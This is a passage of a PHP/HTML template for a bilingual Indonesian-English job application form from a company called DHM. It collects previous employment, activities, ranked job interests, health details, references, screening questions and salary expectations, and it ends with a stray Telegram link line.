                <textarea class="form-control" name="txtarea_work_address2" id="" cols="20" rows="7"></textarea> 
              </div>  
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Division</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_division2" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">Position</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_position2" type="text" class="form-control"> 
              </div>
            </div>

            <div class="row flex_center">
              <div class="col-md-3">
                <label for="">Salary & benefit currently received</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_currently_salary2" type="text" class="form-control"> 
              </div>
              <div class="col-md-2">
                <label for="">From year</label>
                <input name="inp_fromyear2" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">to</label>
                <input name="inp_toyear2" type="text" class="form-control"> 
              </div> 
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Reason(s) for leaving</label> 
              </div> 
              <div class="col-md-8">
                <textarea class="form-control" name="txtarea_reason2" id="" cols="20" rows="7"></textarea> 
              </div>  
            </div>
            <hr>
            <div class="row">
              <div class="col-md-3">
                <label for="">Name of company</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_name_of_company3" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">Line of Business</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_line_of_business3" type="text" class="form-control"> 
              </div> 
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Address</label>
              </div> 
              <div class="col-md-8">
                <textarea class="form-control" name="txtarea_work_address3" id="" cols="20" rows="7"></textarea> 
              </div>  
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Division</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_division3" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">Position</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_position3" type="text" class="form-control"> 
              </div>
            </div>

            <div class="row flex_center">
              <div class="col-md-3">
                <label for="">Salary & benefit currently received</label>
              </div> 
              <div class="col-md-3">
                <input name="inp_currently_salary3" type="text" class="form-control"> 
              </div>
              <div class="col-md-2">
                <label for="">From year</label>
                <input name="inp_fromyear3" type="text" class="form-control"> 
              </div> 
              <div class="col-md-2">
                <label for="">to</label>
                <input name="inp_toyear3" type="text" class="form-control"> 
              </div> 
            </div>

            <div class="row">
              <div class="col-md-3">
                <label for="">Reason(s) for leaving</label> 
              </div> 
              <div class="col-md-8">
                <textarea class="form-control" name="txtarea_reason3" id="" cols="20" rows="7"></textarea> 
              </div>  
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse5" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a>
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse7" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Next
            </a>
          </div> 
        </div> 

      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse7">
          OTHER ACTIVITIES
        </a>
      </h4>
    </div>
    <div id="career_collapse7" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">KEGIATAN LAINNYA / OTHER ACTIVITIES</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <div class="row">
                  <div class="col-md-12">
                    <label for="">Organization</label>   
                  </div>
                </div>
              </div>
              <div class="col-md-12">
                <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                  <thead>
                    <tr>
                      <th>Organization Name</th>
                      <th>Type of Organization</th>
                      <th>Year</th>
                      <th>Position</th>
                    </tr> 
                  </thead>
                  <tbody> 
                    <?php for($i=0; $i<3; $i++): ?>
                      <tr> 
                        <?php for($ii=0; $ii<4; $ii++): ?>
                        <td>
                          <?php
                            $t_name = 'inp_other_activities_';
                            if ($ii == 0) {
                              $t_name .= 'organization_name';
                            }
                            if ($ii == 1) {
                              $t_name .= 'type_organization';
                            }
                            if ($ii == 2) {
                              $t_name .= 'year';
                            }
                            if ($ii == 3) {
                              $t_name .= 'position';
                            }  
                          ?>
                          <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                        </td> 
                        <?php endfor; ?>
                      </tr>   
                    <?php endfor; ?>
                  </tbody>
                </table>
              </div>
              <div class="col-md-12">
                <div class="row">
                  <div class="col-md-12">
                    <label for="">Other Assignment</label>   
                  </div>
                  <div class="col-md-12">
                    <textarea class="form-control" name="txtarea_other_assignment" id="" cols="20" rows="7"></textarea>       
                  </div>
                </div>
              </div> 
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse6" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a>
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse8" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Next
            </a>
          </div> 
        </div>

      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse8">
          PERSONAL INTEREST AND CONCEPT
        </a>
      </h4>
    </div>
    <div id="career_collapse8" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">MINAT DAN KONSEP PRIBADI / PERSONAL INTEREST AND CONCEPT</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <div class="row">
                  <div class="col-md-12">
                    <label for="">How did you know about this vacancy?</label>
                    <textarea class="form-control" name="txtarea_know_about_vacancy" id="" cols="20" rows="7"></textarea>   
                  </div>
                </div>
                <div class="row">
                  <div class="col-md-12">
                    <label for="">Indicate your job interest in the rank order</label>   
                  </div>
                </div>

                <div class="row">
                  <?php for($i=0; $i<4; $i++): ?>   
                    <div class="col-md-3 flex_center">
                      <?php if ($i == 0): ?>
                        <input data-val="Sales/Account Executive" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Sales/Account Executive</label>
                      <?php elseif ($i == 1): ?>
                        <input data-val="Marketing" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Marketing</label>
                      <?php elseif ($i == 2): ?>
                        <input data-val="Programming" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Programming</label>
                      <?php elseif ($i == 3): ?>
                        <input data-val="Technic" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Technic</label>
                      <?php endif; ?>  
                    </div>
                  <?php endfor; ?> 
                </div>
                <div class="row">
                  <?php for($i=0; $i<4; $i++): ?>   
                    <div class="col-md-3 flex_center"> 
                      <?php if ($i == 0): ?>
                        <input data-val="Public Relation" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Public Relation</label>
                      <?php elseif ($i == 1): ?>
                        <input data-val="Legal" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Legal</label>
                      <?php elseif ($i == 2): ?>
                        <input data-val="Journalism" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Journalism</label>
                      <?php elseif ($i == 3): ?>
                        <input data-val="IT" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">IT</label>
                      <?php endif; ?>  
                    </div>
                  <?php endfor; ?> 
                </div>
                <div class="row">
                  <?php for($i=0; $i<4; $i++): ?>   
                    <div class="col-md-3 flex_center">  
                      <?php if ($i == 0): ?>
                        <input data-val="Production TV/Radio" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Production TV/Radio</label>
                      <?php elseif ($i == 1): ?>
                        <input data-val="Finance / Accounting / Tax" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Finance / Accounting / Tax</label>
                      <?php elseif ($i == 2): ?>
                        <input data-val="Human Resources" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Human Resources</label>
                      <?php elseif ($i == 3): ?>
                        <input data-val="General Services" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">General Services</label>
                      <?php endif; ?>  
                    </div>
                  <?php endfor; ?> 
                </div>
                <div class="row">
                  <?php for($i=0; $i<3; $i++): ?>   
                    <div class="col-md-3 flex_center">  
                      <?php if ($i == 0): ?>
                        <input data-val="Design" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Design</label>
                      <?php elseif ($i == 1): ?>
                        <input data-val="Secretary / Administration" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Secretary / Administration</label>
                      <?php elseif ($i == 2): ?>
                        <input data-val="Others" name="inp_job_interest[]" type="text" class="inp_job_interest form-control" style="width: 30%; margin-right:10px;">  
                        <label for="">Others</label> 
                      <?php endif; ?>  
                    </div>
                  <?php endfor; ?> 
                </div>
              </div>
              <div class="col-md-12">
                
              </div>
              <div class="col-md-12">
                <div class="row">
                  <div class="col-md-12">
                    <label for="">Why did you choose the first two jobs?</label>   
                    <textarea class="form-control" name="txtarea_choose_2jobs" id="" cols="20" rows="7"></textarea>
                  </div>
                </div>
                <div class="row">
                  <div class="col-md-12">
                    <label for="">When will you be able to start to work?</label>   
                    <input name="inp_able_to_start_work" type="text" class="form-control input_req">  
                  </div>
                </div>
              </div> 
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse7" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a>
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse9" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Next
            </a>
          </div> 
        </div>

      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse9">
          OTHER INFORMATIONS & REFERENCE AND RECOMMENDATION
        </a>
      </h4>
    </div>
    <div id="career_collapse9" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">KETERANGAN LAINNYA / OTHER INFORMATIONS</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <div class="row">
                  <div class="col-md-3">
                    <label for="">Weight</label>
                    <input name="inp_weight" type="text" class="form-control input_req">  
                  </div>
                  <div class="col-md-3">
                    <label for="">Height</label>
                    <input name="inp_height" type="text" class="form-control input_req">  
                  </div> 
                  <div class="col-md-6">
                    <label for="">Have you been hospitalized and/or seriously ill?</label>
                    <br> 
                    <div class="btn-group btn-group-toggle" data-toggle="buttons">
                      <label class="btn btn-secondary active">
                        <input value="Yes" type="radio" name="cb_been_hospitalized" id="cb_been_hospitalized_yes" autocomplete="off" checked> Yes
                      </label>
                      <label class="btn btn-secondary">
                        <input value="No" type="radio" name="cb_been_hospitalized" id="cb_been_hospitalized_no" autocomplete="off"> No
                      </label>  
                    </div> 
                    <br> 
                  </div>
                </div> 
                <div class="row">
                  <div class="col-md-6">
                    <label for="">If any, please mention your illness:</label>    
                    <textarea class="form-control" name="txtarea_mention_illness" id="" cols="10" rows="5"></textarea> 
                  </div>
                  <div class="col-md-6">
                    <label for="">Have you ever taken a psychological test?</label><br>
                    <div class="btn-group btn-group-toggle" data-toggle="buttons">
                      <label class="btn btn-secondary active">
                        <input value="Yes" type="radio" name="cb_psychological_test" id="cb_psychological_test_yes" autocomplete="off" checked> Yes
                      </label>
                      <label class="btn btn-secondary">
                        <input value="No" type="radio" name="cb_psychological_test" id="cb_psychological_test_no" autocomplete="off"> No
                      </label>  
                    </div> 
                  </div>
                </div>  
              </div>  
            </div>

          </div>

        </div>
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">REFERENSI DAN REKOMENDASI / REFERENCE AND RECOMMENDATION</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <div class="row">
                  <div class="col-md-12">
                    <label for="">Further reference and recommendation about the candidate can be obtained from:</label>   
                  </div>
                   
                  <div class="col-md-12">
                    <table border="1" class="table" style="width: 100%; border-collapse: collapse;">
                      <thead>
                        <tr>
                          <th>Name</th>
                          <th>Phone Number</th>
                          <th>Position</th>
                          <th>Relation</th>
                        </tr> 
                      </thead>
                      <tbody> 
                        <?php for($i=0; $i<4; $i++): ?>
                          <tr> 
                            <?php for($ii=0; $ii<4; $ii++): ?>
                            <td>
                              <?php
                                $t_name = 'inp_reference_recommendation_';
                                if ($ii == 0) {
                                  $t_name .= 'name';
                                }
                                if ($ii == 1) {
                                  $t_name .= 'phone_number';
                                }
                                if ($ii == 2) {
                                  $t_name .= 'position';
                                }
                                if ($ii == 3) {
                                  $t_name .= 'relation';
                                }  
                              ?>
                              <input name="<?= $t_name.'[]'; ?>" type="text" class="form-control">
                            </td> 
                            <?php endfor; ?>
                          </tr>   
                        <?php endfor; ?>
                      </tbody>
                    </table>
                  </div>  

                </div>   
              </div>  
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse8" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a>
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse10" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Next
            </a>
          </div> 
        </div>

      </div>
    </div>
  </div>

  <div class="panel panel-default">
    <div class="panel-heading">
      <h4 class="panel-title">
        <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse10">
          QUESTION
        </a>
      </h4>
    </div>
    <div id="career_collapse10" class="panel-collapse collapse ">
      <div class="panel-body">
        <div class="row" style="margin-bottom:5px;">
          <div class="col-md-12">
            <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">QUESTION</h3>
          </div>

          <div class="col-md-12">  
            <div class="row">
              <div class="col-md-12">
                <div class="row"> 
                   
                  <div class="col-md-12">
                    <table border="1" class="table" style="width: 100%; border-collapse: collapse;"> 
                      <tbody> 
                        <tr>
                          <td>1</td>
                          <td>
                            Apakah Anda tertarik bepergian ke lokasi manapun?<br>
                            <input name="inp_question1" type="text" class="form-control input_req">
                          </td>
                        </tr>
                        <tr>
                          <td>2</td>
                          <td>
                            Mohon kirimkan kepada kami salary slip Anda terakhir<br>
                            <input name="inp_question2" type="text" class="form-control input_req">
                          </td>
                        </tr>
                        <tr>
                          <td>3</td>
                          <td>
                            Jika Anda bergabung sesuai dengan posisi yang Anda lamar, strategi apakah yang akan di lakukan untuk dapat mengambil pasar? (pertanyaan untuk melamar posisi manager)<br>
                            <input name="inp_question3" type="text" class="form-control input_req">
                          </td>
                        </tr>
                        <tr>
                          <td>4</td>
                          <td>
                            Apa strategi anda (jika Anda melamar sebagai Operation Manager/General Manager/Posisi Profit Center) untuk dapat meningkatkan revenue di dalam bisnis (sales on-site)? (pertanyaan untuk melamar posisi manager)<br>
                            <input name="inp_question4" type="text" class="form-control input_req">
                          </td>
                        </tr>
                        <tr>
                          <td>5</td>
                          <td>
                            Pilih 1 atau 2 kelemahan anda dari pilihan di bawah:<br> 
                            <?= output_checkbox('Finance',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"finance",
                            )); ?>
                            <?= output_checkbox('HRD',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"hrd",
                            )); ?>
                            <?= output_checkbox('Sales',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"sales",
                            )); ?>
                            <?= output_checkbox('Marketing',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"marketing",
                            )); ?>
                            <?= output_checkbox('FB Service',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"fb service",
                            )); ?>
                            <?= output_checkbox('FB production',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"fb production",
                            )); ?>
                            <?= output_checkbox('Housekeeping',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"housekeeping",
                            )); ?>
                            <?= output_checkbox('Others',array(
                              "id"=>"",
                              "class"=>"",
                              "name"=>"cb_weakness[]",
                              "val"=>"others",
                            ),array(
                              "name"=>"inp_others_weakness",
                              "val"=>"others",
                            )); ?>  
                          </td>
                        </tr>
                        <tr>
                          <td>6</td>
                          <td>
                            Apa yang akan anda lakukan untuk dapat memastikan hotel/Lounge/Café/Restaurant memiliki operational excellence?<br>
                            <input name="inp_question6" type="text" class="form-control input_req">
                          </td>
                        </tr>
                        <tr>
                          <td>7</td>
                          <td>
                            Menurut anda apa yang lebih penting Revenue atau Cost? Mengapa? (pertanyaan untuk melamar posisi manager)<br>
                            <input name="inp_question7" type="text" class="form-control input_req">
                          </td>
                        </tr>
                      </tbody>
                    </table>
                  </div> 
                  <div class="col-md-12">
                    <label for="">Salary dan Benefit Yang di dapat sekarang:
                    </label>
                    <textarea class="form-control input_req" name="txtarea_currently_salary" id="" cols="20" rows="7"></textarea> 
                  </div> 
                  <div class="col-md-12">
                    <label for="">Salary dan Benefit yang diharapkan:
                    </label>
                    <textarea class="form-control input_req" name="txtarea_hope_salary" id="" cols="20" rows="7"></textarea> 
                  </div> 

                </div>   
              </div>  
            </div>

          </div>

        </div>

        <div class="row">
          <div class="col-md-12" style="text-align: center; margin-top: 20px;"> 
            <a data-toggle="collapse" data-parent="#accordion" href="#career_collapse9" class="collapsed btn-submit-job-vacancy" aria-expanded="false">
              Prev
            </a> 
          </div> 
        </div>

      </div>
    </div>
  </div>

</div> 
            </div>
        </div>

        <div class="row" style="text-align: left;"> 
            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-10 col-lg-offset-1"> 
  
              <div class="row" style="margin-bottom:5px;">
                <div class="col-md-12">
                  <h3 style="border-bottom: 1px solid black; padding-bottom: 10px;">STATEMENT</h3>
                </div>

                <div class="col-md-12">  
                  <div class="row">
                    <div class="col-md-12">
                      <strong>
                        *<i>
                          Your contact details will be saved on our database and will not be shared to outside party.
                          <br>
                          DHM respect visitor’s privacy by keeping their contact confidential.
                        </i>
                      </strong>
                    </div>
                    <div style="margin-top:20px;margin-bottom:20px;" class="col-md-12">
                      <?= output_checkbox('<small>I certify that all statements made on this application are true, false information given or implied on an application form    is grounds for immediate employment dismissal without further notice.</small>',array(
                        "id"=>"cb_statement1",
                        "class"=>"",
                        "name"=>"cb_statement[]",
                        "val"=>"1",
                      )); ?>
                      <?= output_checkbox('<small>I understand that misrepresentation or omission when discovered, will subject me to discharge and i hereby authorize any investigation    relating to my work experience, education, or reputation for the purpose of my application for employment.</small>',array(
                        "id"=>"cb_statement2",
                        "class"=>"",
                        "name"=>"cb_statement[]",
                        "val"=>"2",
                      )); ?> 
                    </div>  
                  </div>

                </div>

              </div>

              <div class="row" style="margin-bottom:5px;">
                <div class="col-md-12" style="text-align: center;"> 
                  <input class="btn-submit-job-vacancy" type="submit" value="SUBMIT" name=""> 
                </div>
              </div>  
                <!-- </div> -->
            </div> 
        </div>  
        <?= form_close(); ?>
    </div>
</section>

https://t.me/RX1948 - 2025